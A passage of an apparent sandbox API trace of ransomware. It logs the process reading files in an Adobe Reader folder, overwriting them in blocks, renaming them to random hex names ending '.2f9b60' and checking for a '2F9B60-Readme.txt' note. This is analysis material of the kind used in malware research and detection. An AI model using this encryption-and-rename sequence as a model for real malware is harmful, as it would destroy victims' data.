RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x4ccdd401 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x45751ab0 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0xaee9a73 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x37f63210 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x1aaf010b [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x5ec422c8 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x7386fef4 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x2c6ffdf5 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x5794399 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x42c5419e [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x726cdf08 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x346a0ff0 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x4073dff [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x50d22601 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x6d7991ad [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x28d3b415 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x5371aaa0 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x4073dff [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x3fc6b56e [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x198717a7 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x198717a7 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x152cfffb [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x2aea2941 [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x2bdcb52a [0105.189] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x3fc6b56e [0105.201] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.201] ReadFile (in: hFile=0x163c, lpBuffer=0x41f13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x294cfcc0, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesRead=0x294cfcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0105.335] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0105.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0105.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9b4e0 [0105.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0105.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0105.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc10) returned 1 [0105.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.336] WriteFile (in: hFile=0x163c, lpBuffer=0x41e9b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x294cfcc0, lpOverlapped=0x0 | out: lpBuffer=0x41e9b4e0*, lpNumberOfBytesWritten=0x294cfcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0105.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9b4e0) returned 1 [0105.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f13cc0) returned 1 [0105.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a66b0 [0105.384] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.384] WriteFile (in: hFile=0x163c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x294cfd70, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x294cfd70*=0x108, lpOverlapped=0x0) returned 1 [0105.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0105.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0105.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0105.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0105.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0105.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0105.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b00 [0105.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b00) returned 1 [0105.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0105.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0105.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f630 [0105.513] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="8c") returned 2 [0105.513] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="69") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="2b") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="29") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="99") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="8d") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="0f") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="63") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="05") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="a8") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="f3") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="98") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="9a") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="76") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="5a") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="d4") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="9a") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="77") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="7d") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="26") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="c5") returned 2 [0105.514] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="99") returned 2 [0105.514] RtlInitAnsiString (in: DestinationString=0x294cfde8, SourceString="8c692b29998d0f6305a8f3989a765ad49a777d26c599" | out: DestinationString="8c692b29998d0f6305a8f3989a765ad49a777d26c599") [0105.514] RtlAnsiStringToUnicodeString (in: DestinationString=0x294cfdb8, SourceString="8c692b29998d0f6305a8f3989a765ad49a777d26c599", AllocateDestinationString=1 | out: DestinationString="8c692b29998d0f6305a8f3989a765ad49a777d26c599") returned 0x0 [0105.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced5da0 [0105.515] wcscat (in: _Dest=0x1b85ec90, _Source="8c692b29998" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\8c692b29998") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\8c692b29998" [0105.515] wcscat (in: _Dest=0x1b85ec90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\8c692b29998.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\8c692b29998.2f9b60" [0105.515] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\8c692b29998.2f9b60", NtPathName=0x294cfd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\8c692b29998.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x204ffd70 [0105.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffd70) returned 1 [0105.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd8c0) returned 1 [0105.792] NtQueryInformationFile (in: FileHandle=0x163c, IoStatusBlock=0x294cfdf8, FileInformation=0x294cfe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x294cfdf8, FileInformation=0x294cfe08) returned 0x0 [0105.792] NtSetInformationFile (FileHandle=0x163c, IoStatusBlock=0x294cfdf8, FileInformation=0x294cfe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0105.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5da0) returned 1 [0105.796] FlushFileBuffers (hFile=0x163c) returned 1 [0105.812] CloseHandle (hObject=0x163c) returned 1 [0105.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85eb90 [0105.813] wcscpy (in: _Dest=0x1b85eb90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0105.813] wcscat (in: _Dest=0x1b85eb90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0105.813] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0106.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0106.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 Thread: id = 888 os_tid = 0x1488 [0101.094] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm")) returned 0x20 [0103.520] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm", dwFileAttributes=0x20) returned 1 [0103.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmepol.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1780 [0103.661] GetFileSizeEx (in: hFile=0x1780, lpFileSize=0x259ffcc0 | out: lpFileSize=0x259ffcc0*=17476) returned 1 [0103.661] SetFilePointerEx (in: hFile=0x1780, liDistanceToMove=0x4440, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.661] ReadFile (in: hFile=0x1780, lpBuffer=0x259ffc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x259ffc88, lpOverlapped=0x0 | out: lpBuffer=0x259ffc40*, lpNumberOfBytesRead=0x259ffc88*=0x4, lpOverlapped=0x0) returned 1 [0103.696] SetFilePointerEx (in: hFile=0x1780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0103.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0103.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0103.696] NtQuerySystemTime (in: CurrentTime=0x259ffb80 | out: CurrentTime=0x259ffb80*=132462177092074000) returned 0x0 [0103.696] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x7699753f [0103.696] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x5425232a [0103.696] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x52647ef2 [0103.696] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0xe6c8cb8 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x6b31ed4f [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x74116f [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x6fddef4d [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x47ae2af1 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0xe53c1a1 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x3bd1c472 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x618de078 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x8e04098 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x4d146f [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x37c44d24 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x7894aa89 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x28089fb8 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x28300fc [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x644b81e [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x6719f5ba [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x163b7e86 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x6ddc5ea3 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x60361ba4 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x1983152d [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x9940071 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x629ad7bd [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x287cdcd7 [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x4231cddc [0103.697] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x251604ad [0103.698] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x72a975e8 [0103.698] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x156386c4 [0103.698] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0x13ac2979 [0103.698] RtlRandomEx (in: Seed=0x259ffb70 | out: Seed=0x259ffb70) returned 0xa5f762b [0103.709] SetFilePointerEx (in: hFile=0x1780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.709] ReadFile (in: hFile=0x1780, lpBuffer=0x41f04990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x259ffbe0, lpOverlapped=0x0 | out: lpBuffer=0x41f04990*, lpNumberOfBytesRead=0x259ffbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.763] SetFilePointerEx (in: hFile=0x1780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0103.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0103.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0103.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0103.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ea2d00 [0103.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0103.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0103.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8340) returned 1 [0103.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0103.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0103.764] WriteFile (in: hFile=0x1780, lpBuffer=0x41ea2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x259ffbe0, lpOverlapped=0x0 | out: lpBuffer=0x41ea2d00*, lpNumberOfBytesWritten=0x259ffbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ea2d00) returned 1 [0128.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f04990) returned 1 [0128.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced88e0 [0128.293] SetFilePointerEx (in: hFile=0x1780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.293] WriteFile (in: hFile=0x1780, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x259ffc90, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x259ffc90*=0x10c, lpOverlapped=0x0) returned 1 [0128.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867bc0 [0128.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7590 [0128.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7590) returned 1 [0128.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced7590 [0128.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0128.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74a0 [0128.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74a0) returned 1 [0128.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 [0128.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9e930 [0128.298] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="bd") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="73") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="da") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="3c") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="94") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="85") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="18") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="a9") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="26") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="ac") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="df") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="14") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="a1") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="3c") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="83") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="34") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="3b") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="33") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="5b") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="47") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="70") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="4a") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="a2") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="24") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e960, _Format="%c%c" | out: _Dest="0d") returned 2 [0128.298] sprintf (in: _Dest=0x1cd9e962, _Format="%c%c" | out: _Dest="53") returned 2 [0128.299] RtlInitAnsiString (in: DestinationString=0x259ffd08, SourceString="bd73da3c948518a926acdf14a13c83343b335b47704aa2240d53" | out: DestinationString="bd73da3c948518a926acdf14a13c83343b335b47704aa2240d53") [0128.299] RtlAnsiStringToUnicodeString (in: DestinationString=0x259ffcd8, SourceString="bd73da3c948518a926acdf14a13c83343b335b47704aa2240d53", AllocateDestinationString=1 | out: DestinationString="bd73da3c948518a926acdf14a13c83343b335b47704aa2240d53") returned 0x0 [0128.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867040 [0128.299] wcscat (in: _Dest=0x1b85d020, _Source="bd73da3c94851" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\bd73da3c94851") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\bd73da3c94851" [0128.299] wcscat (in: _Dest=0x1b85d020, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\bd73da3c94851.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\bd73da3c94851.2f9b60" [0128.299] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\bd73da3c94851.2f9b60", NtPathName=0x259ffcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\bd73da3c94851.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8615f0 [0128.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.301] NtQueryInformationFile (in: FileHandle=0x1780, IoStatusBlock=0x259ffd18, FileInformation=0x259ffd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x259ffd18, FileInformation=0x259ffd28) returned 0x0 [0128.301] NtSetInformationFile (FileHandle=0x1780, IoStatusBlock=0x259ffd18, FileInformation=0x259ffd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 [0128.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.304] FlushFileBuffers (hFile=0x1780) returned 1 [0128.305] CloseHandle (hObject=0x1780) returned 1 [0128.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867040 [0128.307] wcscpy (in: _Dest=0x1b867040, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.307] wcscat (in: _Dest=0x1b867040, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 Thread: id = 889 os_tid = 0x148c [0101.095] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm")) returned 0x20 [0102.693] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm", dwFileAttributes=0x20) returned 1 [0102.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x165c [0102.723] GetFileSizeEx (in: 